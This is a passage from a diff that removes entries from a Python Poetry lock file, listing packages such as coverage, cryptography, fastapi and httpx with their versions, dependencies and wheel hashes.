-    {file = "coverage-7.13.4-cp314-cp314-win_arm64.whl", hash = "sha256:ad27098a189e5838900ce4c2a99f2fe42a0bf0c2093c17c69b45a71579e8d4a2"},
-    {file = "coverage-7.13.4-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:85480adfb35ffc32d40918aad81b89c69c9cc5661a9b8a81476d3e645321a056"},
-    {file = "coverage-7.13.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:79be69cf7f3bf9b0deeeb062eab7ac7f36cd4cc4c4dd694bd28921ba4d8596cc"},
-    {file = "coverage-7.13.4-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:caa421e2684e382c5d8973ac55e4f36bed6821a9bad5c953494de960c74595c9"},
-    {file = "coverage-7.13.4-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:14375934243ee05f56c45393fe2ce81fe5cc503c07cee2bdf1725fb8bef3ffaf"},
-    {file = "coverage-7.13.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:25a41c3104d08edb094d9db0d905ca54d0cd41c928bb6be3c4c799a54753af55"},
-    {file = "coverage-7.13.4-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f01afcff62bf9a08fb32b2c1d6e924236c0383c02c790732b6537269e466a72"},
-    {file = "coverage-7.13.4-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:eb9078108fbf0bcdde37c3f4779303673c2fa1fe8f7956e68d447d0dd426d38a"},
-    {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0e086334e8537ddd17e5f16a344777c1ab8194986ec533711cbe6c41cde841b6"},
-    {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:725d985c5ab621268b2edb8e50dfe57633dc69bda071abc470fed55a14935fd3"},
-    {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:3c06f0f1337c667b971ca2f975523347e63ec5e500b9aa5882d91931cd3ef750"},
-    {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:590c0ed4bf8e85f745e6b805b2e1c457b2e33d5255dd9729743165253bc9ad39"},
-    {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:eb30bf180de3f632cd043322dad5751390e5385108b2807368997d1a92a509d0"},
-    {file = "coverage-7.13.4-cp314-cp314t-win32.whl", hash = "sha256:c4240e7eded42d131a2d2c4dec70374b781b043ddc79a9de4d55ca71f8e98aea"},
-    {file = "coverage-7.13.4-cp314-cp314t-win_amd64.whl", hash = "sha256:4c7d3cc01e7350f2f0f6f7036caaf5673fb56b6998889ccfe9e1c1fe75a9c932"},
-    {file = "coverage-7.13.4-cp314-cp314t-win_arm64.whl", hash = "sha256:23e3f687cf945070d1c90f85db66d11e3025665d8dafa831301a0e0038f3db9b"},
-    {file = "coverage-7.13.4-py3-none-any.whl", hash = "sha256:1af1641e57cf7ba1bd67d677c9abdbcd6cc2ab7da3bca7fa1e2b7e50e65f2ad0"},
-    {file = "coverage-7.13.4.tar.gz", hash = "sha256:e5c8f6ed1e61a8b2dcdf31eb0b9bbf0130750ca79c1c49eb898e2ad86f5ccc91"},
-]
-
-[package.dependencies]
-tomli = {version = "*", optional = true, markers = "python_full_version <= \"3.11.0a6\" and extra == \"toml\""}
-
-[package.extras]
-toml = ["tomli ; python_full_version <= \"3.11.0a6\""]
-
-[[package]]
-name = "cryptography"
-version = "49.0.0"
-description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
-optional = false
-python-versions = "!=3.9.0,!=3.9.1,>=3.9"
-groups = ["main"]
-files = [
-    {file = "cryptography-49.0.0-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:966fe0e9c67490071f14c0d2b1cb2dfb3023c5ce39457343931415f08382f2db"},
-    {file = "cryptography-49.0.0-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:36d1709f992593689b45bda411498d62c6e365f2ca00b84657d4dadd24de16db"},
-    {file = "cryptography-49.0.0-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0e959b578856a3924bc0cbb710fc12c387b9412a951389f3ca61704a9e25f325"},
-    {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:53ecee2e23f7169b6117e99fc8a944e5e50f79e69758a83b52a00cb98ab2b2d2"},
-    {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:2eda353d8a27bcbcaa4cbed18994a74ab4d19a2ca897db188ea269ab9b71419b"},
-    {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:2afe9051da7ae7bd5905da5a949280c7d2bb75682e188f650a9d0f2756b834c6"},
-    {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:0b82e28ee398a386f0807bba7884d30f25218855690f45115831bcce5d90822c"},
-    {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:ccac2bfebc306b862133e3bb71f3f6ee8bb525240089b2d952e4144b3a6d5da7"},
-    {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:d0527ce944105f257f605a827d6ebead966c752038b6e8656abb9c5edee6fc68"},
-    {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:cbc77da8c523d5abd028635ba850a6966fcee2c82e2bf65a41d1d8afe0f98be9"},
-    {file = "cryptography-49.0.0-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:b87e65d263b3e5d3bb92a57e2a6638e2f31110fa7aa890c7b2dbba42248d0a3f"},
-    {file = "cryptography-49.0.0-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:66ec79c3904820572d7e987abdf304281f141d37ad9a489b8e97066e7b9b6459"},
-    {file = "cryptography-49.0.0-cp311-abi3-win_amd64.whl", hash = "sha256:e5dfc1e64de5677cec922ffa8da89c546d0415bf6efdf081842e5d44c84e1f0e"},
-    {file = "cryptography-49.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:73a205dce83953d131a4aa1e0fd917a2fd1c5b1eef251e9d7152efefcbf5caf7"},
-    {file = "cryptography-49.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:196ecd6a36e4e9aa10270393bb98d8df88fccee0bf1e5128b91ae4eb4375896d"},
-    {file = "cryptography-49.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7abcee80084cda3f7691f3eb1ce480d8df49cec637b429aa35986c1de71738aa"},
-    {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:4ae387c9cb68ea569ca17e490d66d8142b81c3cc814bf179974b7d146e490bbb"},
-    {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:f37d847238971164fdbc68ade6f6574aecc9c0af714190e2083429ff68f4ce9d"},
-    {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:c2bc30226390d60ea19d9f82b19db005fe0452154a23c1c410c12ea801e43561"},
-    {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:07cab27cc7b7e0fd28e5e26bb9eeedde5c135c868b46de4a27845abe94af6122"},
-    {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:b20133d204d2bb56ba047642199603876c872026ca53e79c35b83772ab2cc505"},
-    {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:b970c6da94d5bb18629db453d14f2a1300f6bf59b61e9b82377931ef95504866"},
-    {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:d8ecde755e2e91bf773fc94e8c9d730cd7f2007004cb492263a794ec3899a1c8"},
-    {file = "cryptography-49.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e3fb64c420688e5319ae25113a354015abbd8dffbfbc41781a1ea66fc7622ac3"},
-    {file = "cryptography-49.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32703d93296f5c1f4b53349ad3a250c2cae0fdecd3a3dd5d47e616d8d616af27"},
-    {file = "cryptography-49.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:33cd0565932807baddb67b96dbee92f2c374b5c89dee09fd74079aeb8c8dba61"},
-    {file = "cryptography-49.0.0-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:ec5e529fb80935c94fe7b729f9972b50e351a0e6b50aa294fd5cabb109fcc29a"},
-    {file = "cryptography-49.0.0-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f78ff2c9ed8dc2d036b0f4d640e22522213d047c1b14e61205a7e55c80a494d4"},
-    {file = "cryptography-49.0.0-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:35b151772baff2c74cba7fa290ceaff4c3b11c0c881eb93eb5dbc05a7cfbba18"},
-    {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:0f21641cf4b30fca7aee061ced0ec7ad7b073518088b7c9969a297c0ae796c69"},
-    {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:9e82dcc8e56052715fb18b2429e3bca4823b1629136a2084fc45a9a5cecb9b64"},
-    {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6f2debedf9ca60cf1d5bd466475638af5130f89965605cd818484d19987d3a21"},
-    {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:8c25ceb16df5b9435f3f6a9829204985b0e0cbee3b48aacd432c7d2c850b44d9"},
-    {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:28d8b15e6275f12c8a207dc309dfa957903c927d08d0cc937ee3f63f200693cc"},
-    {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:6fc361c34fb6aac015ce19435876635e5c6d21db31998b0920f675f131e043b8"},
-    {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:2400ef9c9e2299a25614eb1dea3db54a69b1349efd043bfac9c67630d136df36"},
-    {file = "cryptography-49.0.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:67e1d20ad9ef3a563c59ef22e7a8a0b8210bd26604369ea4a30a7c66aefe504e"},
-    {file = "cryptography-49.0.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:42b0684e0e40cf26122427802486f6d93aea593612603a94fbf260c7eb1e9c1b"},
-    {file = "cryptography-49.0.0-cp39-abi3-win_amd64.whl", hash = "sha256:026ac7423e6fa66872d3bf889be5974507da3944f866f704fa200eadacd00001"},
-    {file = "cryptography-49.0.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:fc1e275c2f1d97b1a6450b8b0ea3ebfa6e087a611c2b26cb2404d48588abab7b"},
-    {file = "cryptography-49.0.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c83782480a4a9da4d0feb51950131ba32e12e70813848b3343f6e18c28a66838"},
-    {file = "cryptography-49.0.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:b39efa323140595abd3ecca8529d321ae50f55f3aa3ba9cc81ea56a6011953d5"},
-    {file = "cryptography-49.0.0-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:b47db11c2c3525083296069b98ac5221907455e989ae0c2e3008bde851921615"},
-    {file = "cryptography-49.0.0-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:084ef1af862eb07ec46d25f68689f2102a9fc0e05ce7b80f14f5fe51e4eef0f6"},
-    {file = "cryptography-49.0.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:be9fcb48a55f023493482827d4f459bd263cc20efde64f204b97c123201850c6"},
-    {file = "cryptography-49.0.0.tar.gz", hash = "sha256:f89660a348f4f78a92366240a61404e337586ef7f5909a2fef59ca88ef505493"},
-]
-
-[package.dependencies]
-cffi = {version = ">=2.0.0", markers = "platform_python_implementation != \"PyPy\""}
-typing-extensions = {version = ">=4.13.2", markers = "python_full_version < \"3.11.0\""}
-
-[package.extras]
-ssh = ["bcrypt (>=3.1.5)"]
-
-[[package]]
-name = "deepdiff"
-version = "8.6.2"
-description = "Deep Difference and Search of any Python object/data. Recreate objects by adding adding deltas to each other."
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "deepdiff-8.6.2-py3-none-any.whl", hash = "sha256:4d22034a866c3928303a9332c279362f714192d9305bac17c498720d095fd1b4"},
-    {file = "deepdiff-8.6.2.tar.gz", hash = "sha256:186dcbd181e4d76cef11ab05f802d0056c5d6083c5a6748c1473e9d7481e183e"},
-]
-
-[package.dependencies]
-orderly-set = ">=5.4.1,<6"
-
-[package.extras]
-cli = ["click (>=8.1.0,<8.2.0)", "pyyaml (>=6.0.0,<6.1.0)"]
-coverage = ["coverage (>=7.6.0,<7.7.0)"]
-dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)", "jsonpickle (>=4.0.0,<4.1.0)", "nox (==2025.5.1)", "numpy (>=2.0,<3.0) ; python_version < \"3.10\"", "numpy (>=2.2.0,<2.3.0) ; python_version >= \"3.10\"", "orjson (>=3.10.0,<3.11.0)", "pandas (>=2.2.0,<2.3.0)", "polars (>=1.21.0,<1.22.0)", "python-dateutil (>=2.9.0,<2.10.0)", "tomli (>=2.2.0,<2.3.0)", "tomli-w (>=1.2.0,<1.3.0)", "uuid6 (==2025.0.1)"]
-docs = ["Sphinx (>=6.2.0,<6.3.0)", "sphinx-sitemap (>=2.6.0,<2.7.0)", "sphinxemoji (>=0.3.0,<0.4.0)"]
-optimize = ["orjson"]
-static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject (>=1.2.3,<1.3.0)", "pydantic (>=2.10.0,<2.11.0)"]
-test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"]
-
-[[package]]
-name = "distlib"
-version = "0.4.0"
-description = "Distribution utilities"
-optional = false
-python-versions = "*"
-groups = ["dev"]
-files = [
-    {file = "distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16"},
-    {file = "distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d"},
-]
-
-[[package]]
-name = "dnspython"
-version = "2.7.0"
-description = "DNS toolkit"
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"},
-    {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"},
-]
-
-[package.extras]
-dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"]
-dnssec = ["cryptography (>=43)"]
-doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"]
-doq = ["aioquic (>=1.0.0)"]
-idna = ["idna (>=3.7)"]
-trio = ["trio (>=0.23)"]
-wmi = ["wmi (>=1.5.1)"]
-
-[[package]]
-name = "dunamai"
-version = "1.26.0"
-description = "Dynamic version generation"
-optional = false
-python-versions = ">=3.5"
-groups = ["dev"]
-files = [
-    {file = "dunamai-1.26.0-py3-none-any.whl", hash = "sha256:f584edf0fda0d308cce0961f807bc90a8fe3d9ff4d62f94e72eca7b43f0ed5f6"},
-    {file = "dunamai-1.26.0.tar.gz", hash = "sha256:5396ac43aa20ed059040034e9f9798c7464cf4334c6fc3da3732e29273a2f97d"},
-]
-
-[package.dependencies]
-packaging = ">=20.9"
-
-[[package]]
-name = "exceptiongroup"
-version = "1.3.1"
-description = "Backport of PEP 654 (exception groups)"
-optional = false
-python-versions = ">=3.7"
-groups = ["main", "dev"]
-markers = "python_version == \"3.10\""
-files = [
-    {file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"},
-    {file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"},
-]
-
-[package.dependencies]
-typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""}
-
-[package.extras]
-test = ["pytest (>=6)"]
-
-[[package]]
-name = "fastapi"
-version = "0.137.1"
-description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production"
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "fastapi-0.137.1-py3-none-any.whl", hash = "sha256:64f6983c59e45c4b9fdc44e57cb8035c2451ee91ea8e8ec042aca37de7cf6b69"},
-    {file = "fastapi-0.137.1.tar.gz", hash = "sha256:822360704230d9533d8d9475399613525968aa2f0b5bd2a3ccc9f18c88fd541c"},
-]
-
-[package.dependencies]
-annotated-doc = ">=0.0.2"
-pydantic = ">=2.9.0"
-starlette = ">=0.46.0"
-typing-extensions = ">=4.8.0"
-typing-inspection = ">=0.4.2"
-
-[package.extras]
-all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "uvicorn[standard] (>=0.12.0)"]
-standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "fastar (>=0.9.0)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"]
-standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", "fastapi-cli[standard-no-fastapi-cloud-cli] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"]
-
-[[package]]
-name = "filelock"
-version = "3.20.3"
-description = "A platform independent file lock."
-optional = false
-python-versions = ">=3.10"
-groups = ["main", "dev"]
-files = [
-    {file = "filelock-3.20.3-py3-none-any.whl", hash = "sha256:4b0dda527ee31078689fc205ec4f1c1bf7d56cf88b6dc9426c4f230e46c2dce1"},
-    {file = "filelock-3.20.3.tar.gz", hash = "sha256:18c57ee915c7ec61cff0ecf7f0f869936c7c30191bb0cf406f1341778d0834e1"},
-]
-
-[[package]]
-name = "ghp-import"
-version = "2.1.0"
-description = "Copy your docs directly to the gh-pages branch."
-optional = false
-python-versions = "*"
-groups = ["docs"]
-files = [
-    {file = "ghp-import-2.1.0.tar.gz", hash = "sha256:9c535c4c61193c2df8871222567d7fd7e5014d835f97dc7b7439069e2413d343"},
-    {file = "ghp_import-2.1.0-py3-none-any.whl", hash = "sha256:8337dd7b50877f163d4c0289bc1f1c7f127550241988d568c1db512c4324a619"},
-]
-
-[package.dependencies]
-python-dateutil = ">=2.8.1"
-
-[package.extras]
-dev = ["flake8", "markdown", "twine", "wheel"]
-
-[[package]]
-name = "griffe"
-version = "1.15.0"
-description = "Signatures for entire Python programs. Extract the structure, the frame, the skeleton of your project, to generate API documentation or find breaking changes in your API."
-optional = false
-python-versions = ">=3.10"
-groups = ["dev", "docs"]
-files = [
-    {file = "griffe-1.15.0-py3-none-any.whl", hash = "sha256:6f6762661949411031f5fcda9593f586e6ce8340f0ba88921a0f2ef7a81eb9a3"},
-    {file = "griffe-1.15.0.tar.gz", hash = "sha256:7726e3afd6f298fbc3696e67958803e7ac843c1cfe59734b6251a40cdbfb5eea"},
-]
-
-[package.dependencies]
-colorama = ">=0.4"
-
-[package.extras]
-pypi = ["pip (>=24.0)", "platformdirs (>=4.2)", "wheel (>=0.42)"]
-
-[[package]]
-name = "h11"
-version = "0.16.0"
-description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1"
-optional = false
-python-versions = ">=3.8"
-groups = ["main", "dev"]
-files = [
-    {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"},
-    {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"},
-]
-
-[[package]]
-name = "httpcore"
-version = "1.0.9"
-description = "A minimal low-level HTTP client."
-optional = false
-python-versions = ">=3.8"
-groups = ["main", "dev"]
-files = [
-    {file = "httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55"},
-    {file = "httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8"},
-]
-
-[package.dependencies]
-certifi = "*"
-h11 = ">=0.16"
-
-[package.extras]
-asyncio = ["anyio (>=4.0,<5.0)"]
-http2 = ["h2 (>=3,<5)"]
-socks = ["socksio (==1.*)"]
-trio = ["trio (>=0.22.0,<1.0)"]
-
-[[package]]
-name = "httpx"
-version = "0.28.1"
-description = "The next generation HTTP client."
-optional = false
-python-versions = ">=3.8"
-groups = ["main", "dev"]
-files = [
-    {file = "httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad"},
-    {file = "httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc"},
-]
-
-[package.dependencies]
-anyio = "*"
-certifi = "*"
-httpcore = "==1.*"
-idna = "*"
-
-[package.extras]
-brotli = ["brotli ; platform_python_implementation == \"CPython\"", "brotlicffi ; platform_python_implementation != \"CPython\""]
-cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"]
-http2 = ["h2 (>=3,<5)"]
-socks = ["socksio (==1.*)"]
-zstd = ["zstandard (>=0.18.0)"]
-
-[[package]]
-name = "identify"
-version = "2.6.16"
-description = "File identification library for Python"
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "identify-2.6.16-py2.py3-none-any.whl", hash = "sha256:391ee4d77741d994189522896270b787aed8670389bfd60f326d677d64a6dfb0"},
-    {file = "identify-2.6.16.tar.gz", hash = "sha256:846857203b5511bbe94d5a352a48ef2359532bc8f6727b5544077a0dcfb24980"},
-]
-
-[package.extras]
-license = ["ukkonen"]
-
-[[package]]
-name = "idna"
-version = "3.18"
-description = "Internationalized Domain Names in Applications (IDNA)"
-optional = false
-python-versions = ">=3.9"
-groups = ["main", "dev", "docs"]
-files = [
-    {file = "idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2"},
-    {file = "idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848"},
-]
-
-[package.extras]
-all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
-
-[[package]]
-name = "importlib-metadata"
-version = "8.7.1"
-description = "Read metadata from Python packages"
-optional = false
-python-versions = ">=3.9"
-groups = ["docs"]
-files = [
-    {file = "importlib_metadata-8.7.1-py3-none-any.whl", hash = "sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151"},
-    {file = "importlib_metadata-8.7.1.tar.gz", hash = "sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb"},
-]
-
-[package.dependencies]
-zipp = ">=3.20"
-
-[package.extras]
-check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""]
-cover = ["pytest-cov"]
-doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
-enabler = ["pytest-enabler (>=3.4)"]
-perf = ["ipython"]
-test = ["flufl.flake8", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-perf (>=0.9.2)"]
-type = ["mypy (<1.19) ; platform_python_implementation == \"PyPy\"", "pytest-mypy (>=1.0.1)"]
-
-[[package]]
-name = "importlib-resources"
-version = "6.5.2"
-description = "Read resources from Python packages"
-optional = false
-python-versions = ">=3.9"
-groups = ["docs"]
-files = [
-    {file = "importlib_resources-6.5.2-py3-none-any.whl", hash = "sha256:789cfdc3ed28c78b67a06acb8126751ced69a3d5f79c095a98298cd8a760ccec"},
-    {file = "importlib_resources-6.5.2.tar.gz", hash = "sha256:185f87adef5bcc288449d98fb4fba07cea78bc036455dd44c5fc4a2fe78fed2c"},
-]
-
-[package.extras]
-check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""]
-cover = ["pytest-cov"]
-doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
-enabler = ["pytest-enabler (>=2.2)"]
-test = ["jaraco.test (>=5.4)", "pytest (>=6,!=8.1.*)", "zipp (>=3.17)"]
-type = ["pytest-mypy"]
-
-[[package]]
-name = "iniconfig"
-version = "2.3.0"
-description = "brain-dead simple config-ini parsing"
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12"},
-    {file = "iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730"},
-]
-
-[[package]]
-name = "jinja2"
-version = "3.1.6"
-description = "A very fast and expressive template engine."
-optional = false
-python-versions = ">=3.7"
-groups = ["main", "dev", "docs"]
-files = [
-    {file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"},
-    {file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"},
-]
-
-[package.dependencies]
-MarkupSafe = ">=2.0"
-
-[package.extras]
-i18n = ["Babel (>=2.7)"]
-
-[[package]]
-name = "libsass"
-version = "0.23.0"
-description = "Sass for Python: A straightforward binding of libsass for Python."
-optional = false
-python-versions = ">=3.8"
-groups = ["docs"]
-files = [
-    {file = "libsass-0.23.0-cp38-abi3-macosx_11_0_x86_64.whl", hash = "sha256:34cae047cbbfc4ffa832a61cbb110f3c95f5471c6170c842d3fed161e40814dc"},
-    {file = "libsass-0.23.0-cp38-abi3-macosx_14_0_arm64.whl", hash = "sha256:ea97d1b45cdc2fc3590cb9d7b60f1d8915d3ce17a98c1f2d4dd47ee0d9c68ce6"},
-    {file = "libsass-0.23.0-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:4a218406d605f325d234e4678bd57126a66a88841cb95bee2caeafdc6f138306"},
-    {file = "libsass-0.23.0-cp38-abi3-win32.whl", hash = "sha256:31e86d92a5c7a551df844b72d83fc2b5e50abc6fbbb31e296f7bebd6489ed1b4"},
-    {file = "libsass-0.23.0-cp38-abi3-win_amd64.whl", hash = "sha256:a2ec85d819f353cbe807432d7275d653710d12b08ec7ef61c124a580a8352f3c"},
-    {file = "libsass-0.23.0.tar.gz", hash = "sha256:6f209955ede26684e76912caf329f4ccb57e4a043fd77fe0e7348dd9574f1880"},
-]
-
-[[package]]
-name = "livereload"
-version = "2.7.1"
-description = "Python LiveReload is an awesome tool for web developers"
-optional = false
-python-versions = ">=3.7"
-groups = ["docs"]
-files = [
-    {file = "livereload-2.7.1-py3-none-any.whl", hash = "sha256:5201740078c1b9433f4b2ba22cd2729a39b9d0ec0a2cc6b4d3df257df5ad0564"},
-    {file = "livereload-2.7.1.tar.gz", hash = "sha256:3d9bf7c05673df06e32bea23b494b8d36ca6d10f7d5c3c8a6989608c09c986a9"},
-]
-
-[package.dependencies]
-tornado = "*"
-
-[[package]]
-name = "lockfile"
-version = "0.12.2"
-description = "Platform-independent file locking module"
-optional = false
-python-versions = "*"
